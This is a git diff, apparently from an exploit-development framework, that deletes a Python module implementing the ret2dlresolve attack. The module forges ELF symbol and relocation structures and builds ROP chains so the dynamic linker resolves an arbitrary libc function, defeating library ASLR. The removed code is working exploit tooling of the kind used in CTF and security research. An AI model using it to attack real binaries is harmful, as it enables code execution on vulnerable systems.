summaryrefslogtreecommitdiffstats
path: root/sploit/payload/ret2dlresolve.py
diff options
context:
space:
mode:
Diffstat (limited to 'sploit/payload/ret2dlresolve.py')
-rw-r--r--sploit/payload/ret2dlresolve.py226
1 files changed, 0 insertions, 226 deletions
diff --git a/sploit/payload/ret2dlresolve.py b/sploit/payload/ret2dlresolve.py
deleted file mode 100644
index 8862e22..0000000
--- a/sploit/payload/ret2dlresolve.py
+++ /dev/null
@@ -1,226 +0,0 @@
-"""
-Perform "Return to dlresolve" dynamic linker attack
-
-The ret2dlresolve technique is useful to defeat library ASLR against targets
-with partial relro (or less) and where no useable data leaks are available.
-This is specifically a workaround for ASLR of libraries such as libc, and
-addresses within the target executable are expected to be known (non-pic or
-otherwise).
-
-When a dynamic library call is performed normally, applications jump to code
-stubs in the .plt section to perform the actual relocation. This process relies
-on a couple of meta-data structures in the ELF object:
-
-Elf*_Rel: Contains a pointer to the corresponding GOT entry, which is used to
-cache the real subroutine address for later calls, as well as an info field
-describing the relocation. This info field contains a type subfield and an
-index into the ELF's symbol table for the symbol to be relocated.
-
-Elf*_Sym: Contains all the data relevant to the symbol. For the purposes of the
-exploit, only the symbol name field is utilized (the others are set to zeroes).
-The name field is an offset into the ELF's string table, and the actual symbol
-name string can be found at this offset.
-
-All of the data tables mentioned above are located by their corresponding
-section in the ELF. The relocation process however does not perform any bounds
-checks to ensure the runtime data structures actually come from these sections.
-By forging custom structures, and ensuring they can be written into memory at
-precise locations, an attacker can trick the resolver to link any library
-function they desire by setting up the equivalent PLT function call via ROP.
-
-Read on for more background details:
-http://phrack.org/issues/58/4.html
-https://gist.github.com/ricardo2197/8c7f6f5b8950ed6771c1cd3a116f7e62
-
-Structure definitions from your standard elf.h header:
-
-typedef struct {
- Elf32_Word st_name; /* 4b Symbol name (string tbl index) */
- Elf32_Addr st_value; /* 4b Symbol value */
- Elf32_Word st_size; /* 4b Symbol size */
- unsigned char st_info; /* 1b Symbol type and binding */
- unsigned char st_other; /* 1b Symbol visibility */
- Elf32_Section st_shndx; /* 2b Section index */
-} Elf32_Sym;
-
-typedef struct {
- Elf64_Word st_name; /* 4b Symbol name (string tbl index) */
- unsigned char st_info; /* 1b Symbol type and binding */
- unsigned char st_other; /* 1b Symbol visibility */
- Elf64_Section st_shndx; /* 2b Section index */
- Elf64_Addr st_value; /* 8b Symbol value */
- Elf64_Xword st_size; /* 8b Symbol size */
-} Elf64_Sym;
-
-typedef struct {
- Elf32_Addr r_offset; /* 4b Address */
- Elf32_Word r_info; /* 4b Relocation type and symbol index */
-} Elf32_Rel;
-
-typedef struct {
- Elf64_Addr r_offset; /* 8b Address */
- Elf64_Xword r_info; /* 8b Relocation type and symbol index */
-} Elf64_Rel;
-
-Elf32_Rel.r_info = 0xAAAAAABB
- | |
- | type
- symidx
-
-Elf64_Rel.r_info = 0xAAAAAAAABBBBBBBB
- | |
- symidx type
-"""
-
-from sploit.arch import arch, itob
-from sploit.payload.gadhint import GadHint
-from sploit.payload.payload import Payload
-from sploit.payload.payload_entry import padalign, padlen, pointer
-from sploit.payload.rop import ROP
-from sploit.rev.r2 import run_cmd
-
-_JMP_SLOT = 0x07
-
-def _symsize():
- # Size of Elf*_Sym, used for padding and indexing
- if arch.wordsize == 4: return 16
- elif arch.wordsize == 8: return 24
- raise ValueError("Ret2dlresolve: Architecture wordsize unsupported")
-
-def _relsize():
- # Size of Elf*_Rel, used only for indexing on 64bit (32bit uses offset)
- if arch.wordsize == 4: return 1
- elif arch.wordsize == 8: return 24
- raise ValueError("Ret2dlresolve: Architecture wordsize unsupported")
-
-def _infoshift():
- # Partition subfields of Elf*_Rel.r_info
- if arch.wordsize == 4: return 8
- elif arch.wordsize == 8: return 32
- raise ValueError("Ret2dlresolve: Architecture wordsize unsupported")
-
-class Ret2dlresolve(ROP):
- # Use constructor from ROP class
-
- def reloc(self, symbol_name):
- """
- Generate relocation structures for the function with given symbol name.
-
- The returned data structures are packed into a single Payload object.
- This payload must be written into the target's memory before attempting
- to use it with Ret2dlresolve.call(). Furthermore, the chosen write
- location must be assigned to the payload base property, so that internal
- pointers may take on the appropriate values.
-
- See Ret2dlresolve.determine_address() for advice on choosing a write
- location.
-
- symbol_name (str): Name of library function to link
- """
- binary = self.objects[0]
- symtab = binary.sym.sect['.dynsym']
- strtab = binary.sym.sect['.dynstr']
-
- try:
- jmprel = binary.sym.sect['.rel.plt']
- except KeyError:
- jmprel = binary.sym.sect['.rela.plt']
-
- # Elf*_Rel.r_info
- info = lambda x: ((int(x - symtab) // _symsize()) << _infoshift()) | _JMP_SLOT
-
- # The sym structure is the most picky about its location in memory. So
- # it is listed first in the main dlres struct, which can be placed at
- # the desired location.
- sym = Payload()
- sym.name = pointer("symbol_string", lambda x: x - strtab)
- sym.pad = padlen(_symsize(), b"\x00")
- sym.symbol_string = symbol_name
-
- dlres = Payload()
- dlres.symalign = padalign(_symsize(), reference=symtab)
- dlres.sym = sym
- dlres.relalign = padalign(_relsize(), reference=jmprel)
- dlres.offset = pointer()
- dlres.info = pointer("sym", info)
- return dlres
-
- def determine_address(self, start=None, end=None, n=0):
- """
- Determine recommended address for relocation structures.
-
- There are a couple considerations to make when determining the memory
- locations. First of all, the location must be writable. More
- importantly, since most items are referred to by an array index, the
- structures themselves must be properly aligned, reference to the array
- origins.
-
- The payload returned from Ret2dlresolve.reloc() has some of these
- alignments built in, but one crucial one is not. The index implied by
- Elf*_Sym's offset from the symtab base is the same index used to lookup
- symbol version information, reference to versym. The data at this index
- must constitute a valid version half-word (16-bits). This function
- attempts to ensure that the coincident version info for any returned
- value is the data \x00\x00. Getting this wrong can cause the dlresolve
- routine to crash.
-
- start (int): Minimum address to recommend (default: .bss section address)
- end (int): Maximum address to recommend (default: end of memory page)
- n (int): Return the Nth useable address within the defined range
- """
- binary = self.objects[0]
- symtab = binary.sym.sect['.dynsym']
- versym = binary.sym.sect['.gnu.version']
- bss = binary.sym.sect['.bss']
-
- if start is None: start = bss
- if end is None: end = (start & ~0xfff) + 0x1000
-
- zero_words = run_cmd(binary.path, "/x 0000")
- zero_words = [ int(x.split(" ")[0], 0) for x in zero_words ]
-
- # Size of version entry is always 2 bytes.
- veroff = [ x - versym for x in zero_words ]
- idx = [ x//2 for x in veroff if x%2 == 0 ]
- symoff = [ x * _symsize() for x in idx ]
- addr = [ x + symtab for x in symoff ]
- addr = [ x for x in addr if start <= x < end ]
-
- if len(addr) > n:
- return addr[n]
-
- raise AssertionError("Ret2dlresolve: No suitable memory location")
-
- # Overrides ROP.call()
- def call(self, reloc, *params):
- """
- Return a ROP payload to call function via dynamic linker.
-
- reloc's base address must be set appropriately.
-
- reloc (Payload): Relocation payload obtained from Ret2dlresolve.reloc()
- *params (int): Remaining positional args are passed to function.
- """
- binary = self.objects[0]
- plt = binary.sym.sect['.plt']
-
- try:
- jmprel = binary.sym.sect['.rel.plt']
- except KeyError:
- jmprel = binary.sym.sect['.rela.plt']
-
- register_params = dict(zip(arch.funcargs, params))
- stack_params = params[len(register_params):]
- index = int(reloc.offset - jmprel) // _relsize()
-
- reqs = GadHint(requirements=register_params)
- call = GadHint(index, stack=stack_params)
- ret = GadHint(self.search_gadget(arch.ret))
-
- chain = Payload()
- try: chain.requirements = self.gadget(reqs).requirements
- except KeyError: pass
- chain.alignment = padalign(0, itob(ret))
- chain.plt = plt
- chain.call = self.gadget(call)
- return chain